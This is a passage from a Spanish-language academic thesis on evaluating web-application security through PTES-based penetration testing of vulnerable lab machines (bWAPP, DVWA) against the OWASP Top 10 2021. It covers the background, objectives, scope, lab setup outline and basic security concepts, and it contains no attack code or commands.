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RESUMEN

En este trabajo investigativo se evaluaron técnicas de ciberseguridad para el desarrollo seguro
de aplicaciones web mediante pruebas de penetracion en entornos virtuales con aplicaciones
web vulnerables. Se utiliz6 la metodologia PTES y se analizaron las vulnerabilidades mas
explotadas segun el OWASP Top 10 de 2021, desarrollando cuatro categorias de pruebas de
ataque para comprender el contexto real del esquema de ejecucion de ataque. Se presentaron
once enfoques de estudio de hallazgos y recomendaciones de seguridad informatica, asi como
un conjunto de mejores practicas para el desarrollo de aplicaciones web y la implementacion
de medidas de seguridad informética. El objetivo es crear conciencia y proporcionar
recomendaciones para mitigar cualquier ataque cibernético futuro. Se realizaron pruebas de
ataque utilizando herramientas Optimas para explotar las vulnerabilidades, se recopil6
informacion para elaborar un informe detallando los resultados y se presentaron

observaciones resultantes y recomendaciones para la parte técnica de seguridad.

Palabras Claves: aplicaciones web, PTES, OWASP Top 10
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ABSTRACT

In this investigative work, cybersecurity techniques were evaluated for the secure
development of web applications through penetration testing in virtual environments with
vulnerable web applications. The PTES methodology was used, and the most exploited
vulnerabilities according to the OWASP Top 10 of 2021 were analyzed, developing four
categories of attack tests to understand the real context of the attack execution scheme.
Eleven approaches to study findings and recommendations for cybersecurity were presented,
as well as a set of best practices for web application development and implementation of
cybersecurity measures. The objective is to raise awareness and provide recommendations to
mitigate any future cyber attacks. Attack tests were conducted using optimal tools to exploit
vulnerabilities, information was gathered to create a detailed report of the results, and

resulting observations and technical security recommendations were presented.

Keywords: web applications, PTES, OWASP Top 10
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INTRODUCCION

La seguridad informatica en las organizaciones es un tema necesario para salvaguardar los
activos valiosos. Las organizaciones han sido victimas de ataques cibernéticos debido a la
falta de incorporacion de seguridad en sus sistemas, provocando afectar la vision de la
empresa, la confiabilidad, disponibilidad e integridad, dando acceso a los piratas informéticos
para aprovechar las brechas de seguridad conocidas como vulnerabilidades para asi propagar
malware, comprometer sistemas, doblegar la seguridad en la red, entre otros aspectos que
reflejan la diversificacion de ataques informaticos. Con el fin de robar los datos y perjudicar

a la entidad.

Hoy en dia, las organizaciones manejan extensas areas de almacenamiento digital donde
almacenan informacion critica como datos de identificacion personal, registros de procesos,
manual de funciones, entre otros. Esta practica ha atraido a delincuentes cibernéticos que
buscan penetrar en estas entidades para obtener informacion valiosa y utilizarla de manera
ilicita mediante una variedad de técnicas para acceder y robar informacion de cualquier ente

que es vulnerable a un ataque.

Es por esta razon, el presente trabajo tiene como finalidad el estudio de técnicas de
ciberseguridad en el ambito de desarrollo de aplicaciones web mediante la utilizacién de
laboratorios de simulaciones que cuenta con aplicacion web vulnerable. Para evaluar las
técnicas en relacién con el TOP 10 de OWASP 2021, analizando su comportamiento en los
esquemas de seguridad y desarrollar la comparativa de cuatro categorias como; fallas de
identificacion y autenticacion, configuracion incorrecta de seguridad, inyeccion y disefio
inseguro. Se realizaron las pruebas tanto tradicionalmente como la ayuda de herramientas
para el ataque cibernético en los escenarios creados, y con el resultado obtenido emplear
acciones para escalar privilegios y encontrar datos sumamente potentes para luego ejercer la
elaboracion del informe que cuenta con los analisis pertinentes de los ataques, y establecer
las observaciones de resultados de los incidentes y recomendaciones para mitigar los eventos.
Y a su vez, se presentara una propuesta de buenas préacticas para el desarrollo seguro en
marcado en ISO 27001 Y CIS, referentes potenciales en controles de seguridad tanto en

sistemas como en redes.



En la seccion capitulo 1, se detalla de manera significativa sobre la problematica de la
seguridad informatica en las organizaciones y la falta de seguridad al desarrollo de
aplicaciones web seguro, y establecer la solucion planteada. Ademas, se encuentra los
antecedentes, descripcion del proyecto, el objetivo general y especificos, justificacion y

alcance.

En la seccion capitulo 2, se encuentra el marco conceptual en donde se explica los conceptos
importantes de la investigacion, como a su vez el marco tedrico que hace referente con
relacién al tema, también se muestra la metodologia que se basa el desarrollo del proyecto,

las técnicas de recoleccion de informacion empleadas.

En la seccion capitulo 3, se encuentra la propuesta de desarrollo del proyecto, desglosando
las cinco fases como; fase de recoleccién de informacion, analisis de vulnerabilidades,
explotacion, post-explotacion e informe. Ademas de la propuesta de buenas practicas para el
desarrollo seguro que cuenta con introduccion, descripcion de controles y practicas de

seguridad.



CAPITULO |
1. FUNDAMENTACION

1.1. ANTECENDES DEL PROYECTO

Hoy en dia, el desarrollo de las TIC (tecnologias de la informacion y las comunicaciones),
ha permitido abordar unos determinados nimeros de servicios con el objetivo dar soluciones
a necesidades de la vida cotidiana. Relativamente, la seguridad informaética, y el desarrollo
de software son dos temas muy interesantes que aborda todo el mundo tecnolégico que sé

observa [1].

No obstante, existe una marcada distancia entre la seguridad informética y el desarrollo de
software debido a la falta de proteccion de datos con respecto a nivel de seguridad
informatica. Los desarrolladores minimizan este aspecto y se enfocan Gnicamente en realizar
pruebas de funcionamiento, sin considerar la seguridad TI. Esto provoca un alto riesgo de
vulnerabilidades como secuestro de datos, ciberataques, intrusién de piratas informaticos,
espionaje, entre otros problemas. En el futuro, estas fallas podrian provocar costos elevados
en soporte tras el lanzamiento de un producto defectuoso, lo que seria considerado un sistema

inseguro e inestable por parte del cliente. [2].

El estudio de las vulnerabilidades a lo largo de la incorporacion de la tecnologia se ha visto
influenciado por el gran volumen de informacién que se transporta, se comunica, y se
almacena. Tras investigaciones que relacionan amenazas y vulnerabilidades en aplicaciones
web 2020-2021, existe que el 17% de los ataques informaticos se ve involucrado en
explotacion de vulnerabilidades y fallas de seguridad en aplicaciones web. Por ende, los
piratas informaticos utilizan estos sitios comprometidos para diversificar prop6sitos como;
propagar malware, robar datos confiables, entre otras complicaciones que estan directamente
relacionadas con él funcionamiento y reputacion de las organizaciones por la debilidad de
sus sistemas y proteger de manera conmensurable las aplicaciones web, a continuacion se

presenta las vulnerabilidades mas comunes por OWASP [3].



A01 — Broken Access Cantrol 100%
ADS — Security Misconfiguration 83%
AOT7 — Identification and Authentication Failures 79%
AD4 — Insecure Design 79%
AD3 — Injection 66%
ADZ? — Cryptographic Failures 48%
AD6 — Vulnerable and Qutdated Components 34%
AQB — Software and Data Integrity Failures 21%
A09 — Security Logging and Monitoring Failures 17%
Al0D — Server-Side Request Forgery (SSRF) 16%

Figura 1: OWASP Top 10 2021 vulnerabilities (share of web applications) [3]

Al no existir un estudio de buenas practicas que permita evidenciar o contener informacion
importante sobre técnicas de ciberseguridad en el desarrollo de aplicaciones web seguro en
nivel de seguridad informaética en el ciclo de vida de desarrollo de software centrada en la
fase de desarrollo y disefio para poder resguardar la integridad y la reputaciéon de las
organizaciones. Surge la necesidad de desarrollar la investigacion correspondiente ya
mencionado, para permitir la buena gestion de seguridad Tl y la importancia de crear
aplicaciones web gue garanticen la seguridad de activos. Mediante consultas de investigacion
sobre el tema a estudiar y conversacion con personal experto en seguridad informatica y
hacking ético, sé ha conseguido que las organizaciones cuentan con el poco conocimiento e
interés sobre el tema de seguridad en las aplicaciones, y por falta de esta indole, puede afectar
la vision de la gente que tiene sobre la empresa, asi como la disponibilidad, integridad y
confiabilidad (Ver Anexo 1). Adicionalmente, también se tiene conocimiento que la data
sensible que pueda contener una empresa al hacer expuesta provocaria la quiebra por
acciones de falta de seguridad. Por lo cual, por ser el ser humano el eslabon mas débil se
puede emplear ingenieria social y asi conocer informacion necesaria para instruir las acciones

de robo de datos de la empresa (Ver Anexo 2).



Para dicho estudio se dara pautas a investigaciones, articulos, tesis que estén asociadas al
tema investigativo, en donde las aportaciones permitiran comprender més sobre la situacion
que ejerce el desarrollo de aplicaciones web seguro en dependencia a la seguridad informética
para la proteccién de datos. Por lo cual, se menciona tres aspectos como estudio centrado en
la parte local, entorno pais y asi mismo de manera internacional que se menciona a

continuacion.

El articulo cientifico tecnoldgico “Método para el desarrollo de software seguro basado
en la ingenieria de software y ciberseguridad (Universidad Ecotec, Ecuador)”, indica
como resultado un modelo de seguridad de software basado en métricas OWASP y en ciclo
de vida del software, marcando una tendencia enorme en el tema de seguridad informaética
en los sistemas desarrollados, en donde se propician claramente vulnerabilidades y riesgos
en seguridad TI. Es por ello, surge la necesidad de implementar estrategias que mitiguen los
problemas previstos para que asi los mismos beneficiarios(estudiantes) u otras universidades
puedan desplegar habilidades de prevencion con la ayuda de herramientas y metodologias.
Con la finalidad de asegurar un producto final estable y de crecimiento de colaboracion en el

area de seguridad informatica aplicada en el desarrollo de software [4].

Por otro lado, la tesis “Comparacion de técnicas de deteccion de vulnerabilidades de
ataques de Cross Site Scripting en aplicaciones web de microempresas (Per()”, indica
como resultado como la seguridad en aplicaciones web ha sido generalizada en
funcionamiento, en vez de seguridad informatica. Para asi ejercer un alto golpe en la
aparicion de vulnerabilidades como lo es inyeccion SQL, incorporacion de ficheros
maliciosos, Cross Site Scripting, entre otros. El consenso de codigo malicioso mediante el
método POST permite al atacante ganar permiso y ser capaz de robar informacion relevante
como secuestro de cookies que contiene datos sensibles del internauta. Es por ello, surge la
necesidad de implementar un estudio de dos técnicas para detectar vulnerabilidades sobre
ataques de Cross Site Scripting en el desarrollo de app web, dando como comparativa la
técnica de deteccion dindmica de Vulnerabilidades (DDV) y la técnica Sumidero Deteccidn
de Vulnerabilidades (SDV) [5].



Ademas, la tesis “Guia metodolégica para implementar la seguridad durante el
desarrollo de aplicaciones informaticas (La Habana-Cuba)”, describe que fue
desarrollado a base de principios de desarrollo agil, en donde proporciona estandares de
buenas précticas de manera internacional para establecer un desarrollo de software seguro.
Tiene como objetivo dar funcionalidad en la planificacién para minimizar amenazas y
corregir errores a tiempos, la disposicion es dar métodos que den la base en contribuir calidad

y sistemas seguros confiables. [6]

En conclusion y congruente a las consultas desarrolladas ya mencionadas. El punto a resaltar
es como dichos estudios se centran en la seguridad informéatica mediante técnicas de
ciberseguridad, como a su vez buenas préacticas enfocadas al desarrollo de aplicaciones web
seguro en donde cuentan con procedimientos que demandan respuestas muy favorables para
él estudio conciso que proporciona la investigacion. Por lo tanto, el enfoque de aplicaciones
inseguras por la falta de proteccion de los datos en el ambito de seguridad informatica.
Permitira establecer una estructura fiable donde €l funcionamiento y las pruebas de seguridad

TI estaran resaltadas de una forma equilibrada para asi tener un sistema confiable y seguro.

1.2. DESCRIPCION DEL PROYECTO

Al no existir un conjunto de informacion sobre el desarrollo de aplicaciones web seguro que
resalte la proteccion de activos de informacion. Hace incierta la falta de calidad e integridad
de los sistemas en las organizaciones, conllevando la tediosa tarea de detectar a tiempo los
incidentes de seguridad y el robo de datos es eminente por la falta de respuesta. Es por esta
razén, surge la premisa de presentar un buen manejo y control de ciberseguridad en las
entidades basadas en la metodologia PTES, que ejerce una buena estructura en pruebas de
penetracion con la ayuda de herramientas y técnicas orientada a evaluar la seguridad del

desarrollo de aplicaciones web.

Las pruebas de test penetracién son relacionados con escenarios donde ocurre mayor
frecuente el incidente de seguridad, permitiendo conocer la efectividad de los ataques, el
activo en peligro, el nivel de criticidad, el método de ataque, entre otros aspectos que el
ciberdelincuente emplea para comprometer el sistema. Por ende, el estudio de ciberseguridad
s preciso y necesario para conocer y emplear buenas practicas de seguridad que permitan

mitigar las brechas existentes de seguridad en aplicaciones web.



el presente proyecto se guiard con la metodologia PTES (penetration Testing Excecution
Standard).

Fase 1: Recoleccion de informacion

Se realiza la entrevista pertinente a expertos de seguridad informatica de la universidad
Estatal Peninsula de Santa Elena - UPSE para comprender la importancia de la seguridad
tecnoldgica en las organizaciones, buenas practicas, métodos, entre otros. También se centra
en el levantamiento de informacion sobre la seleccion de laboratorios de simulacion para el
estudio de ciberseguridad en él desarrollo de aplicaciones web seguro, instalacion,

configuracién para las pruebas de seguridad.
Fase 2: Analisis de vulnerabilidades

Comprende en el andlisis de vulnerabilidades mediante la justificacion con estadisticas de
vulnerabilidades mas comunes explotadas en aplicaciones web. Basado en él TOP 10 de
OWASP 2021, que cuenta con categorias de vulnerabilidades que permite entender el
esquema de los incidentes de seguridad. Ademas, realizar la comparativa de cuatro categorias
seleccionadas para las pruebas, con el fin de conocer a detalle el accionar de estas categorias

en diferentes escenarios.
Fase 3: Explotacion

Se realiza la experimentacion de las técnicas de ciberseguridad sobre cuatro categorias
seleccionadas en el estudio, y asi mismo ejercer el disefio de escenarios de pruebas para
identificar las brechas de seguridad que desarrollan los entornos de simulacion, cuanto
tiempo tarda en ejecutar el ataque, robo de datos, complejidad y tipo de ataque. Todo con el

objetivo de identificar las debilidades para luego emplear buenas précticas de seguridad
Fase 3: Post-Explotacién

Presentar alternativas de explotacion con la diferencia de lograr escalar privilegio, robar
informacion sensible mediante el sistema comprometido. Por ende, mediante la informacion
recolectada en la anterior fase, se analiza mas a detalle como obtener mayores datos de los

entornos mediante post-explotacién, analizando la red, formularios, inyeccion, entre otros.



Fase 4: Informe

El desarrollo del informe proviene de los resultados obtenidos mediante la fase explotacion
y post — explotacion, en donde se explica mediante una introduccion todo lo referente a la
seguridad de aplicaciones web, el analisis e interpretacion de resultados, observaciones y
recomendaciones de toda la parte experimental sobre los escenarios de estudio desarrollado

para la investigacion

1.3.OBJETIVOS DEL PROYECTO
1.3.1. OBJETIVO GENERAL

Evaluar las técnicas de ciberseguridad mediante el uso de maquinas virtuales vulnerables

para el desarrollo de aplicaciones web seguro.

1.3.2. OBJETIVOS ESPECIFICOS

e Estudio comparativo de las diferentes técnicas de ciberseguridad para el desarrollo de
aplicaciones web

¢ Disefiar escenarios de prueba usando méaquinas virtuales vulnerables para evaluar el nivel
de seguridad de una aplicacion web

e Seleccionar un conjunto de buenas préacticas para el desarrollo de aplicaciones web

1.4. JUSTIFICACION DEL PROYECTO

Hoy en dia, el desarrollo de software seguro es considerado como parte esencial en los
sistemas informaticos en toda organizacion. Donde la seguridad informética en los sistemas
de software es amplia y disponible para realizar procesos que tenga como factor favorable
ayudar a las organizaciones, como a su vez a los usuarios finales que interactdan con el
software mediante su incorporacion correcta en herramientas, metodologias y buenas
practicas para permitir a salvo los activos de informacién del propio ente. Por lo tanto, el
principal objetivo sobre la seguridad de informatica en aplicaciones web radica en el
desarrollo de software seguro desde el inicio de su produccion sin tener que agregar
elementos adicionales de seguridad, efectuando el uso de buenas practicas en prueba de
técnicas de ciberseguridad que se centren mas al software como es el caso de desarrollo y

disefio , para comprobar la capacidad de resistente a ataques maliciosos [7].



Por otro lado, la seguridad de aplicaciones rige como un conjunto de buenas practicas, y no
es definido como una tecnologia Unica, en donde se incorporan funciones y caracteristicas
que permitan al software de una organizacién, prevenir y remediar cualquier amenaza que
realizan los ciberatacantes, como también generar beneficios como; reduccion de riesgo en
las fuentes internas, proteger los datos sensibles que se filtran, mejorar la confianza de

inversores de negocios y mantener seguro los datos del cliente [8].

El proyecto de investigacion tendra como primera instancia beneficiar a las organizaciones
con la finalidad de resolver los problemas presentados en él estudio de seguridad informatica
en sistemas informéticos y robo de informacion tras la investigacion de las técnicas de
ciberseguridad. Dando soluciones practicas a inexistencia de prueba de seguridad
informatica, sistema inseguro, altos costos en soporte, lanzamiento de producto con fallas,
bloquear accesos a piratas informaticos. Con la finalidad de contener confiabilidad,

disponibilidad e integridad de datos en el desarrollo seguro de aplicaciones web.

Del mismo modo, como beneficiarios indirectos se encuentran los usuarios finales que
interacttan con el software correcto sobre la base de herramientas, metodologias y buenas
practicas que permiten mantener a salvo la informacién sensible de los propios entes. Por
otro lado, también tendra la viabilidad de que el sistema sea estable y seguro para asi
minimizar los errores que se puedan generarse en plena ejecucion. Por lo consiguiente,
ensefar a los usuarios a usar el software de la forma conveniente para evitar que sean

propensos o puntos faciles de cualquier ataque cibernético.

El presente estudio sirve como linea base de referencias académicas y cientificas para
continuar evaluando e identificando vulnerabilidades en el desarrollo de aplicaciones web
seguro, que permita apreciar la suma recuperacion de los puntos débiles de estos en las

organizaciones sobre la lucha constante sobre las vulnerabilidades empleadas por hackers

Mediante el estudio se busca coadyuvar a que se mejore el desarrollo de software seguro a
través del analisis de vulnerabilidades mas comunes explotadas, y asi evaluar la seguridad
mediante técnicas de ciberseguridad para probar la efectividad los ataques de pentesting,

identificar los puntos fragiles sobre los procesos de seguridad, entre otros.



Adicionalmente, conocer la efectividad, tiempo de ejecucién, rigurosidad de nivel de
seguridad sobre las vulnerabilidades de mayor impacto y frecuentes para presentar
recomendaciones de conjuntos de buenas practicas centralizadas en normas internacional de

desarrollo de aplicaciones web.

Cabe destacar que el resultado obtenido en el estudio servird como base para todas aquellas
entidades que ejercen los mismos procesos o referentes a desarrolladores que desean adquirir
este tipo de investigacion como pauta al desarrollar el analisis correspondiente de la creacion

de un producto (aplicaciones web).

La presenta propuesta esta direccionado al plan de creacion de oportunidades, haciendo

énfasis al eje relevante, en la cual detalla lo siguiente:
Eje seguridad integral

Objetivo 10.- Garantizar la soberania nacional, integridad territorial y seguridad del Estado

[9].

Politica 10.1. - Fortalecer al estado para mantener la confidencialidad, integridad y
disponibilidad de informacion frente a amenazas provenientes de ciberespacio y proteger su

infraestructura critica [9].

1.5.ALCANCE DEL PROYECTO

La implementacion del estudio sobre las técnicas de ciberseguridad en el desarrollo de
aplicaciones web permitira realizar el analisis correspondiente que se hace a la hora de
construir un sistema basado al método tradicional del ciclo de vida de desarrollo de software

seguro, a través de la simulacion de maquinas virtuales vulnerables.

En la guia de investigacion contard con la informacién resaltante de los problemas de
seguridad en las aplicaciones web por la falta de test de penetracidn, poco conocimiento de
seguridad informatica en las organizaciones, activos de informacion en peligros, los
incidentes de seguridad que permita €l ciberdelicuente aprovechar y poner en peligro la
reputacién de una entidad, todo en relacion de la importancia de la seguridad de las

aplicaciones web.
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Por ende, el desarrollo de la metodologia PTES estara desglosado con actividades que

permita a la investigacion tener un enfoque claro y conciso.
Fase 1: Recoleccién de informacién

» Preparar el ambiente de simulacion maquina virtual bee-box (BWAPP)
o Descargar el archivo zip bee-box v1.6.7z
o Descomprimir archivo zip bee-box
o Crear Maquina Virtual Bee-Box (Sistema Operativo Linux, Red Hat, 64bits)
o Red Virtual
o Seleccionar disco duro virtual de bee-box, extension vmdk
o Inicio del portal
» Preparar laboratorio DVWA
o Descargar el archivo zip DVWA v1.9
o Descomprimir archivo zip DVWA
o Colocar Carpeta DVWA al servidor web
o Configurar la base de datos
o Crear nuevo usuario
o Dar privilegio del usuario creado en el motor de base de datos
o Configurar archivo php.ini
o Alzar servicio apache2 y mysqgl

o Inicio del portal
Fase 2: Analisis de vulnerabilidades

» Buscar las vulnerabilidades méas explotadas
» Agrupar ciberataques a las vulnerabilidades para el entorno de trabajo
» Clasificar acorde a su nivel de criticidad

» Categorizar las vulnerabilidades
Fase 3: Explotacion

» Experimentacion de prueba en las maquinas virtuales en los escenarios disefiados
» Explotar las vulnerabilidades mediante el uso de técnicas de seguridad

» Conocer el nivel de acceso que se da sobre el objetivo
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Fase 4. Post-Explotacién

» Obtener informacién relevante
» Evadir mecanismo de seguridad

» Acceder a un servicio a través del sistema comprometido
Fase 5: Informe

Datos de los entornos
Objetivo
Alcance

Anadlisis e interpretacion de resultados

YV V. V V V

Observaciones y recomendaciones

El estudio de las técnicas de ciberseguridad brindara una visualizacion sobre las condiciones
gue enmarcan toda la seguridad informatica en aplicaciones, en la fase de disefio y desarrollo.
Por ende, no se implementara el uso de un médulo de andlisis y tampoco contar con un activo
de informacion de una entidad (base de datos, archivos de configuracion, entre otros). Sin
embargo, tendra pruebas de simulacién que reflejen diferentes escenarios del contexto real
de ataque, para asi comprender mejor los incidentes de seguridad en aplicaciones web y

adicionalmente que en un futuro cercano sea ampliado.

12



CAPITULO II
2. MARCO TEORICO Y METODOLOGIA DEL PROYECTO

2.1. MARCO CONCEPTUAL
2.1.1. ({QUE ES LA SEGURIDAD INFROMATICA?

La seguridad informatica tiene la labor de dar seguridad al medio informatico, para varios
expertos manifiestan que la informatica es la ciencia encargada de los procesos, técnicas y
métodos que buscan procesar el almacenamiento y trasmision de la informacién, que a
diferencia de la seguridad de la informacion en donde no tiene como fin la seguridad del
medio informatico, sino también se preocupa por toda aquella informacion sensible e

importante [7].

La gran tarea de la seguridad informéatica es minimizar los riesgos que sé proporciona en
diversas partes del medio, como lo es la entrada de los datos, el mismo medio que transporta
la informacion., hardware que contiene los protocolos que se usan para trasmitir y recibir la
data, los usuarios y los protocolos que estan implementados, todo esto con el fin de generar

una gran seguridad y cumplir en minimizar los riesgos presentados [7].

Usuario: Es considerado como el eslabon méas débil de la cadena, debido a que es imposible

controlar a las personas, por ende, hay que tener mucho cuidado con el mismo usuario [7].

Informacién: Es representacion de informacion relevante y sensible en la seguridad
informatica, por lo tanto, debe ser protegido y mantener a salvo por ser un activo de

informacion Gtil que en manos equivocadas se puede sacar provecho [7].

Infraestructura: Es el medio que debe tener mayor control y manejo sobre los procesos que
imparten al sistema, para asi no exponer puntos débiles que generan problemas complejos,
como lo es acceso no autorizado, el robo de identidad y dafios que alteren los procesos para

que el sistema sea débil y vulnerable a un ataque [7].

2.1.1.1. CONFIDENCIALIDAD
Hace referencia a la informacion sensible, aquella ya sea privada o secreta, no sea expuesta
a usuarios (sean personas, procesos, etcétera) no autorizados. Por ende, la proteccion de este

apartado cuenta con la aplicacion sobre aquellos datos almacenados que son distribuidos
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mediante procesos, que se encuentra en trasmision o son trasmitidos por las rutas establecidas
[10].

2.1.1.2. INTEGRIDAD

Manifiesta la seguridad de la informacion almacenada en los diversos dispositivos mediante
su trasmision por cualquier canal de comunicacién y evidenciar que no ha sido alterada por
usuarios terceros de forma malintencionada. La finalidad de este apartado es que la

informacidn no sea modificada mediante usuarios no autorizados [11].

2.1.1.3. DISPONIBILIDAD

La disponibilidad de la informacién depende de las caracteristicas o capacidad que se debe
asegurar en la fiabilidad y el acceso oportuno de la data y del recurso. Por ende, la
informacidn debe estar disponible para que los usuarios autorizados pueden adquirir cuando

sea necesario [12].

2.1.1.4. NO REPUDIO

También conocido como irrenunciabilidad, permite la garantia al receptor de la
comunicacion, verificar el origen del mensaje que fue enviado por el emisor, y que la misma
data no haya sido enviada por un tercero que se haga pasar por el emisor. En pocas palabras,
el repudio tiene la capacidad de demostrar o probar la participacion de las partes del origen
y destino sobre los actores de comunicacién mediante su identificacion para determinar cierta

accion [13].

2.1.2. WEB APPLICATION

La finalidad de una aplicacion web es mostrar informacién a los usuarios de una red interna.
Estos programas suelen incorporar elementos que permiten una comunicacion activa entre el
usuario y la informacién, lo que da lugar a una interaccion dinamica con los datos. Por
ejemplo, los usuarios pueden realizar diversas funciones, como rellenar y enviar formularios,

participar en juegos o acceder a gestores de bases de datos de cualquier tipo [14].

2.1.2.1. ESTRUCTURA DE APLICACION WEB

La estructura comun de una aplicacion sé divide en tres capas. La primera capa esta formada
por el navegador web, la segunda capa es la capa central que utiliza tecnologia web dinamica,
y la tercera capa es la base de datos. El navegador web envia solicitudes a la capa central, la
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cual ofrece una interfaz grafica para permitir que el usuario interactle con la base de datos

mediante consultas y actualizaciones [14].

2.1.2.2. ARQUITECTURA DE APLICACION WEB

El término "arquitectura web" sé refiere a los conocimientos técnicos necesarios para disefiar,
construir y planificar sitios web. La creacion de un sitio web requiere la integracion de varios
sistemas, como servidores, bases de datos y organizacion de la informacion. Al igual que en
la arquitectura tradicional, el enfoque del disefio y construccion de sitios web se centra en el
usuario y sus necesidades. La arquitectura de un sitio web se compone de tres componentes

principales: él servidor web, la conexidn de red y uno o mas clientes [14].

El servidor web distribuye paginas de informacion formateada a los clientes que las solicitan
a través del protocolo HTTP. Una vez que se realiza la solicitud a través de la conexion de
red y érl servidor web la recibe, este localiza y envia la informacidn al navegador del usuario

para su visualizacion [14].

Una caracteristica importante de las aplicaciones web es que estan disefiadas para funcionar
en la topologia de Internet, lo que les permite ser ambientes distribuidos y multiplataforma
de forma natural [15].

2.1.2.2.1. SERVIDOR WEB

Un servidor web cumple una referencia a base de software y hardware, para relacionarse al
contenido proporcionado por la web en la red, debido a que los servidores web pueden
soportar grandes cantidades de informacién como el uso de motores de busqueda y no solo
soportar la exclusividad de paginas web o aplicaciones web. Dado al enorme crecimiento del
internet sobre el mundo tecnoldgico, existen diversidad de servidores web, ya sea para juego,
almacenamiento de datos o como se menciona anteriormente para aplicaciones para

organizaciones [16].

2.1.2.2.2. CONEXION DE RED
Es un punto importante para ejercer la comunicacion del cliente al servidor, debido a que las
aplicaciones que siguen este modelado necesitan una conexion de red entre dos

dispositivos/ordenadores para ejercer la division de procesos; por un lado, el cliente
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proporciona la ejecucion de solicitudes de informacién y el servidor la provee. Ambos de

formar independiente cuentan con programas para evidenciar la accion [17].

2.1.2.2.3. CLIENTE

Es el responsable de solicitar el uso de las aplicaciones insertadas en un determinado servidor
de codigo, para que devuelva un nombre o direccion. El cliente en pocas palabras mantiene
comunicacion con el servidor para solicitar una busqueda, consultas, datos de entradas de
datos o la misma actualizacién de registro que un servidor de archivo que cuenta en su fila
[18].

2.1.2.3. WEB SERVICES

Se utilizan servicios web para transferir datos entre aplicaciones utilizando un conjunto de
protocolos y estandares. Las aplicaciones pueden estar programadas con diferentes
tecnologias y funcionar en cualquier plataforma, lo que permite el intercambio de datos en

redes internas mediante los servicios web. [14].

2.1.2.3.1. TIPOS DE SERVICIOS WEB

Servicio Web SOAP: Es conocido en el mundo tecnoldgico como la especificacion para el
intercambio de informacion, por lo que cuenta con una estructura a base de un entorno
distribuido y descentralizado, Dando asi respuestas a los tres actores claves que mantiene una
arquitectura orientada a los servicios conocidos como SOA, como lo es; proveedores de
servicios, solicitante de servicios, y como si fuera poco él intermediario de servicios. El
servicio tiene como finalidad ejercer un disefio simple y ampliable, para asi utilizar mensaje

SOAP para la solicitud de un servicio web [19].

Servicio Web RESTful: Posee un estilo de arquitectonico de REST, en donde permite
construir servicios desplegables del internet. RESTful se ha convertido en una alternativa
muy comun como lo es el alterno uso de SOAP, en donde permite presentar caracter ligeroy
contar con una capacidad para la trasmision de datos de forma directa desde el protocolo
HTTP [20].
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2.1.3. SEGURIDAD DE LAS APLICACIONES

La seguridad de aplicaciones se manifiesta con la incorporacion de un conjunto de buenas
practicas para prevalecer el resguardo de informacion sensible que dispone, debido a que el
mundo tecnologia va creciendo y nuevas falencias deben ser corregidas, y asi no dafiar la
reputacion de una organizacién que dispone de dichos sistemas. Es por ello ejercer el
desarrollo de pruebas para prevenir y mitigar las amaneadas que los piratas informaticos
provocan para evadir mecanismos de seguridad y robar data sensible, entre otros recursos
[21].

2.1.3.1. DATOS DE VALIDACION

El proceso de validacion de datos implica el uso de un filtro para analizar los datos ingresados
por el usuario en una aplicacion web y verificar si los atributos de entrada son correctos. En
caso de que se encuentre un error, se enviara un mensaje de error de acuerdo con él proceso
definido en la codificacion de la aplicacion. Es un aspecto critico en el desarrollo de
aplicaciones web, ya que la falta de validacion podria dejar vulnerabilidades en el cddigo que

no han sido analizadas, lo que puede ser peligroso [14].

2.1.3.2. MANEJO DE SESION

Hace hincapié al manejo de entra y salida de sesidn del usuario sobre las aplicaciones web,
es un método ampliamente utilizado para asegurar que los usuarios autentificados puedan
adquirir la navegacion sobre él entorno y asi mismo acceder a la informacién requerida, todo
esto ligado sobre el cumplimiento de los controles de autorizacion para asi prevenir

ciberataques [14].

2.1.3.3. ATAQUES DE APLICACION WEB

La definicion se refiere a una actividad que busca comprometer la seguridad de un sistema
mediante la ejecucion de métodos especificos con el objetivo de dafiar o modificar sus
procesos. Estos ataques suelen ser llevados a cabo de forma organizada por uno o mas
individuos, con el fin de obtener informacion confidencial de una entidad. Es importante
tomar medidas de seguridad para prevenir este tipo de ataques en los sistemas informaticos
[22].
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2.1.3.4. VULNERABILIDADES

Las brechas de seguridad son puntos vulnerables en un sistema que pueden ser aprovechados
por ciberatacantes para modificar procesos y métodos con el fin de comprometer la integridad
y reputacion de una organizacion y robar informacion confidencial. La vulnerabilidad del
hardware representa una puerta de entrada para los dispositivos, mientras que las debilidades

en el software son fallas que se presentan en el sistema [23].

2.1.3.5. OWASP

OWASP o también conocido como Open Web Application Security Project es una fundacion
sin fines de lucro que permite mejorar la seguridad de sistemas/software. Mediante proyectos/
guias de software para codigo abierto para la comunidad, debido a que existen cientos de
capitulos locales, capacitaciones de lideres, conferencias educativas para miles de miembros.
OWASP es la fundacion con fuente para que los desarrolladores y tecnologos protejan todo

referente a la web [24].

Existen diversas vulnerabilidades asociadas a los servicios que proporcionan las aplicaciones
web. El proyecto OWASP, o Proyecto Abierto de Seguridad en Aplicaciones Web, ha
identificado las diez vulnerabilidades mas comunes en estas aplicaciones. A continuacion, se

detallan las brechas de seguridad méas explotadas en las aplicaciones web [25].

Lista de las categorias de vulnerabilidad OWASP TOP 10 2021

» Control de acceso roto

 Fallas Criptogréficas

* Inyeccion

» Disefio Inseguro

« Configuracion Erronea de seguridad

« Componentes vulnerables y obsoletos

+ Fallas de identificacion y autenticacion

» Software y fallas en la integridad de datos

« Fallas de registro y monitoreo de seguridad
 Falsificacion de solicitudes del lado del servidor
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2.1.4. COOKIES

Las cookies reflejan pequefia informacion valiosa de un usuario, en pequefios fragmentos de
datos o archivo de texto que cuenta el nombre del entorno web y una identificacion de usuario
unica. Ademas, también son conocidas como cookies informaticas, cookies de navegador,
cookies de internet y cookies HTTP, el accionar de la cookie en el sitio web es la creacion y
envio de la misma en todo el reflejo de comunicacion de diversos sitios cada vez que se

solicita informacion [26].

Adicionalmente, el uso de cookies en entorno web/aplicaciones web son para ejercer
almacenamientos del navegador del usuario, en donde permanecen intactas, aunque el
navegador se cierre. Debido que la informacion del cliente se almacena y puede ser
manipulada, por lo que cuenta con datos como el nombre de usuario, contrasefia, inicio de

sesion y nivel de seguridad, entre otros atributos [27].

2.1.4.1. TIPOS DE COOKIES ORIGEN
Propias: Son consideradas aquellas que se envian a los dispositivos del usuario para que

sean gestionadas Unicamente para un mejor funcionamiento del entorno web [28].

Terceros: Aquella cookie crea una nueva cookie a través de la cookie de origen desde el
propio terminal con el objetivo de hacer un seguimiento de los sitios web visitados por el
usuario. Este tipo de accion permite al anunciante rastrear la actividad de un internauta, para
